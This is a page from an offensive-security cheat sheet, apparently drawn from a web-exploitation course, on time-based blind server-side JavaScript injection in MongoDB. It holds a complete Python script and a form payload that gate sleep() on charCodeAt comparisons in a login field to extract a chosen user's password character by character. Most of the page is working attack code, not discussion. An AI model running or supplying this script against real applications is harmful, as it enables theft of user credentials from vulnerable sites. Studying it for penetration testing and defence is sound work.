Skip to content
Time-based

Time-based

SSJI time-based exfil (sleep branch, binary search)

Gates a server-side sleep() on a charCodeAt comparison and reads the answer from response latency.

The string breakout is the same as the Boolean-response version. The difference is how the result becomes observable. A JavaScript ternary expression has the form <CONDITION> ? <TRUE_RESULT> : <FALSE_RESULT>. The payload uses sleep(TIME) as the true result and 0 as the false result:

<CONDITION> ? sleep(TIME) : 0

A true condition delays the database evaluation and therefore the HTTP response. A false condition returns without that delay. oracle() compares the measured response time with THRESHOLD and returns a Python Boolean.

this.username == "<USER>" && <CONDITION> limits the sleep to the selected document. Without that condition, every document examined by the database could execute the delay and multiply the response time. TIME is expressed in milliseconds, while THRESHOLD is expressed in seconds and must sit above ordinary network variation but below the expected delayed response time.

The same length and charCodeAt() binary search then resolves each printable character in approximately seven requests.

import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.Session()
URL = "http://target/login"
PROXIES = {}
USER = "<KNOWN_USER>"     # document to target, so only that document sleeps
FIELD = "this.password"   # field to exfiltrate
TIME = 500                # ms slept when the branch is taken
THRESHOLD = 0.4           # seconds; above jitter, below TIME

def oracle(cond):
    """`cond` gates a server-side sleep; True when the response is delayed."""
    expr = f'this.username == "{USER}" && {cond}'
    payload = f'" || ({expr} ? sleep({TIME}) : 0) || ""=="'
    r = s.post(URL, data={"username": payload, "password": "test"}, verify=False, timeout=(TIME / 1000) + 5, proxies=PROXIES)
    is_delayed = r.elapsed.total_seconds() > THRESHOLD
    return is_delayed

def length():
    n = 0
    while not oracle(f"{FIELD}.length == {n}"):
        n += 1
    return n

def dump():
    out = ""
    for pos in range(length()):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle(f"{FIELD}.charCodeAt({pos}) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        out += chr(lo)
        print(f"\r[+] {out}", end="", flush=True)
    print()
    return out

Form field gating a server-side sleep on one document

username=" || (this.username == "<KNOWN_USER>" && this.password.charCodeAt(0) <= 79 ? sleep(500) : 0) || ""=="&password=test

Recovered field

[+] <RECOVERED_FIELD>

Find by: nosql, mongodb, ssji, time-based blind, sleep, $where, charCodeAt, response timing, password exfil, ternary · Source: CWEE/NoSQLi SSJI time-based sleep branch